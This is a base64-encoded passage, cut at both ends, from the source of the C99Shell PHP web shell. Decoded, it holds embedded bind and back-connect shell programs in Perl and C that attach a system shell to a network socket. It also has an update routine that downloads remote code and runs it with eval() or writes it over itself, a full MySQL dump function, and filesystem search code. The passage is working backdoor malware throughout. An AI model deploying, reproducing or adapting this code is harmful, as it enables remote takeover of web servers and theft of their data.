jlqYTJGa1pISWdLaWttY21WdGIzUmwiLg0KIkxDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWgiLg0KIlkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2dJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc04iLg0KIkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2s3RFFvZ0lDQnkiLg0KIlpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3AiLg0KIkRRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMjl0WlNCMGJ5QmpPVGx6YUdWc2JDQW1KaUF2WW1sdUwySmhjMmdnTFdraUtUc04iLg0KIkNpQWdJR1ZzYzJVTkNpQWdJR1p3Y21sdWRHWW9jM1JrWlhKeUxDSlRiM0p5ZVNJcE93MEtJQ0FnWTJ4dmMyVW9ibVYzWm1RcE93MEsiLg0KIklDQjlEUW9nZlEwS2ZRMEthVzUwSUdOb2NHRnpjeWhqYUdGeUlDcGlZWE5sTENCamFHRnlJQ3BsYm5SbGNtVmtLU0I3RFFwcGJuUWciLg0KImFUc05DbVp2Y2locFBUQTdhVHh6ZEhKc1pXNG9aVzUwWlhKbFpDazdhU3NyS1NBTkNuc05DbWxtS0dWdWRHVnlaV1JiYVYwZ1BUMGciLg0KIkoxeHVKeWtOQ21WdWRHVnlaV1JiYVYwZ1BTQW5YREFuT3lBTkNtbG1LR1Z1ZEdWeVpXUmJhVjBnUFQwZ0oxeHlKeWtOQ21WdWRHVnkiLg0KIlpXUmJhVjBnUFNBblhEQW5PdzBLZlEwS2FXWWdLQ0Z6ZEhKamJYQW9ZbUZ6WlN4bGJuUmxjbVZrS1NrTkNuSmxkSFZ5YmlBd093MEsiLg0KImZRPT0iKTt9DQogZWxzZWlmICgkZm4gPT0gImM5OXNoX2JhY2tjb25uLnBsIikge3JldHVybiBiYXNlNjRfZGVjb2RlKA0KIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0oiLg0KIkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWamFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFoiLg0KIkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0oiLg0KIkhSaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMEwiLg0KIkNBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmQiLg0KIkdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2EiLg0KIldVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU8iLg0KImlBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFIiLg0KIlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEsiLg0KIkZOVVJFbE9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iKTt9DQogZWxzZWlmICgkZm4gPT0gImM5OXNoX2JhY2tjb25uLmMiKSB7cmV0dXJuIGJhc2U2NF9kZWNvZGUoDQoiSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bCIuDQoiZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaayIuDQoiT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YlNBdFppQWlPeUFOQ2lCayIuDQoiWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZyIuDQoiYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaCIuDQoiY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKc1pXNG9ZWEpuZGxzeSIuDQoiWFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZyIuDQoiRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTENBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMSIuDQoiWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0RRb2dJQ0JsZUdsMCIuDQoiS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJbyIuDQoiWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcE93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aSIuDQoiYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iKTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlzaF9nZXR1cGRhdGUiKSkNCnsNCmZ1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gdHJ1ZSkNCnsNCiAkdXJsID0gJEdMT0JBTFNbImM5OXNoX3VwZGF0ZXVybCJdLiI/dmVyc2lvbj0iLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKCRHTE9CQUxTWyJzaHZlciJdKSkuIiZ1cGRhdGVub3c9Ii4oJHVwZGF0ZW5vdz8iMSI6IjAiKS4iJiI7DQogJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogaWYgKCEkZGF0YSkge3JldHVybiAiQ2FuJ3QgY29ubmVjdCB0byB1cGRhdGUtc2VydmVyISI7fQ0KIGVsc2UNCiB7DQogICRkYXRhID0gbHRyaW0oJGRhdGEpOw0KICAkc3RyaW5nID0gc3Vic3RyKCRkYXRhLDMsb3JkKCRkYXRhezJ9KSk7DQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAxIikge3JldHVybiAiRXJyb3I6ICIuJHN0cmluZzsgcmV0dXJuIGZhbHNlO30NCiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDIiKSB7cmV0dXJuICJZb3UgYXJlIHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7fQ0KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMyIpDQogIHsNCiAgICRzdHJpbmcgPSBleHBsb2RlKCJceDAxIiwkc3RyaW5nKTsNCiAgIGlmICgkdXBkYXRlKQ0KICAgew0KICAgICRjb25mdmFycyA9IGFycmF5KCk7DQogICAgJHNvdXJjZXVybCA9ICRzdHJpbmdbMF07DQogICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2V1cmwpOw0KICAgIGlmICghJHNvdXJjZSkge3JldHVybiAiQ2FuJ3QgZmV0Y2ggdXBkYXRlISI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgICRmcCA9IGZvcGVuKF9fRklMRV9fLCJ3Iik7DQogICAgIGlmICghJGZwKSB7cmV0dXJuICJMb2NhbCBlcnJvcjogY2FuJ3Qgd3JpdGUgdXBkYXRlIHRvIF9fRklMRV9fISBZb3UgbWF5IGRvd25sb2FkIGM5OXNoZWxsLnBocCBtYW51YWxseSA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9DQogICAgIGVsc2Uge2Z3cml0ZSgkZnAsJHNvdXJjZSk7IGZjbG9zZSgkZnApOyByZXR1cm4gIlRoYW5rcyEgVXBkYXRlZCB3aXRoIHN1Y2Nlc3MuIjt9DQogICAgfQ0KICAgfQ0KICAgZWxzZSB7cmV0dXJuICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiLiRzdHJpbmdbMV07fQ0KICB9DQogIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHtldmFsKCRzdHJpbmcpOyByZXR1cm4gMTt9DQogIGVsc2Uge3JldHVybiAiRXJyb3IgaW4gcHJvdG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpICI7fQ0KIH0NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpDQp7DQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpDQp7DQogZ2xvYmFsICRzaHZlcjsNCiAkc29jayA9ICRzZXRbInNvY2siXTsNCiAkZGIgPSAkc2V0WyJkYiJdOw0KICRwcmludCA9ICRzZXRbInByaW50Il07DQogJG5sMmJyID0gJHNldFsibmwyYnIiXTsNCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICR0YWJzID0gJHNldFsidGFicyJdOw0KICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogJHJldCA9IGFycmF5KCk7DQogJHJldFsiZXJyIl0gPSBhcnJheSgpOw0KIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30NCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gdHJ1ZTt9DQogaWYgKGVtcHR5KCRmaWxlKSkNCiB7DQogICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsNCiB9DQogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gdHJ1ZTt9DQogaWYgKHNpemVvZigkdGFicykgPT0gMCkNCiB7DQogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QNCiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogfQ0KICRvdXQgPSAiIyBEdW1wZWQgYnkgQzk5U2hlbGwuU1FMIHYuICIuJHNodmVyLiINCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1DQojDQojIEhvc3Qgc2V0dGluZ3M6DQojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiMgREI6IFwiIi4kZGIuIlwiDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoiOw0KICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpDQogew0KICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpDQogIHsNCiAgIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9DQogICAvLyByZWNpZXZlIHF1ZXJ5IGZvciBjcmVhdGUgdGFibGUgc3RydWN0dXJlDQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7DQogICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOw0KICAgICRvdXQgLj0gJHJvd1siMSJdLiI7XG5cbiI7DQogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMNCiAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApDQogICAgew0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpKQ0KICAgICB7DQogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICBmb3JlYWNoKCR2YWx1ZXMgYXMgJGs9PiR2KSB7JHZhbHVlc1ska10gPSBhZGRzbGFzaGVzKCR2KTt9DQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgJG91dCAuPSAkc3FsOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiBpZiAoJGZpbGUpDQogew0KICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogIGVsc2UNCiAgew0KICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgZmNsb3NlICgkZnApOw0KICB9DQogfQ0KIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KIHJldHVybiAkb3V0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkNCnsNCiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30NCiAkcmVzdWx0ID0gIiI7DQogZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KQ0KIHsNCiAgJHZhbHVlID0gIiI7DQogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogfQ0KICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOw0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICRhcnJheSA9IGFycmF5KCk7DQogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogcmV0dXJuICRhcnJheTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpDQp7DQpmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKQ0Kew0KIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9DQogZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KIHJldHVybiAkZXJyb3I7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpDQp7DQogZ2xvYmFsICRzdWJtaXQsJHNxbF9hY3QsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsNCiBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogew0KICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbmFtZT1cImM5OXNoX3NxbHF1ZXJ5XCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG8iO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5Ijt9IGVjaG8gIjo8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgaWYgKCR0Ymxfc3RydWN0KQ0KICB7DQogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsNCiAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRmaWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hvICK7IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmM5OXNoX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiLiRuYW1lLiJgJztcIj48Yj4iLiRuYW1lLiI8L2I+PC9hPjxicj4iO30NCiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogIH0NCiB9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikNCnsNCiAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsNCiBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQ0KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkNCnsNCiAkcXVlcnkgPSB0cmltKCRxdWVyeSk7DQogJGFyciA9IGV4cGxvZGUgKCIgIiwkcXVlcnkpOw0KIC8qYXJyYXkgYXJyYXkoKQ0KIHsNCiAgIk1FVEhPRCI9PmFycmF5KG91dHB1dF90eXBlKSwNCiAgIk1FVEhPRDEiLi4uDQogIC4uLg0KIH0NCiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsDQogaWYgb3V0cHV0X3R5cGUgPT0gMSwgbm8gb3V0cHV0IGlmIG5vIGVycm9yDQogaWYgb3V0cHV0X3R5cGUgPT0gMiwgb3V0cHV0IHdpdGhvdXQgY29udHJvbC1idXR0b25zDQogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29udHJvbC1idXR0b25zDQogKi8NCiAkdHlwZXMgPSBhcnJheSgNCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksDQogICJTSE9XIj0+YXJyYXkoMiwxKSwNCiAgIkRFTEVURSI9PmFycmF5KDEpLA0KICAiRFJPUCI9PmFycmF5KDEpDQogKTsNCiAkcmVzdWx0ID0gYXJyYXkoKTsNCiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOw0KIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpDQogew0KICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5cGVzWyRvcF07DQogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5Ow0KICBpZiAoJHR5cGVzWyRvcF0gPT0gMikNCiAgew0KICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikNCiAgIHsNCiAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikNCiAgICB7DQogICAgICRyZXN1bHRbImxpbWl0Il0gPSAkYXJyWyRrKzFdOw0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7DQogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQ0KICAgICB1bnNldCgkYXJyWyRrXSwkYXJyWyRrKzFdKTsNCiAgICB9DQogICB9DQogIH0NCiB9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlmc2VhcmNoIikpDQp7DQpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQ0Kew0KIGdsb2JhbCAkZm91bmQ7DQogZ2xvYmFsICRmb3VuZF9kOw0KIGdsb2JhbCAkZm91bmRfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogZ2xvYmFsICRzZWFyY2hfaV9kOw0KIGdsb2JhbCAkYTsNCiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogJGggPSBvcGVuZGlyKCRkKTsNCiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiB7DQogIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKQ0KICB7DQogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gZmFsc2UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICBpZiAoaXNfZGlyKCRkLiRmKSkNCiAgIHsNCiAgICAkc2VhcmNoX2lfZCsrOw0KICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30NCiAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQ0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAgICRzZWFyY2hfaV9mKys7DQogICAgaWYgKCRib29sKQ0KICAgIHsNCiAgICAgaWYgKCFlbXB0eSgkYVsidGV4dCJdKSkNCiAgICAgew0KICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgaWYgKCRhWyJ0ZXh0X3d3byJdKSB7JGFbInRleHQiXSA9ICIgIi50cmltKCRhWyJ0ZXh0Il0pLiIgIjt9DQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgZWxzZSB7JGJvb2wgPSBzdHJwb3MoIiAiLiRyLCRhWyJ0ZXh0Il0sMSk7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgIH0NCiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCn0NCn0NCmlm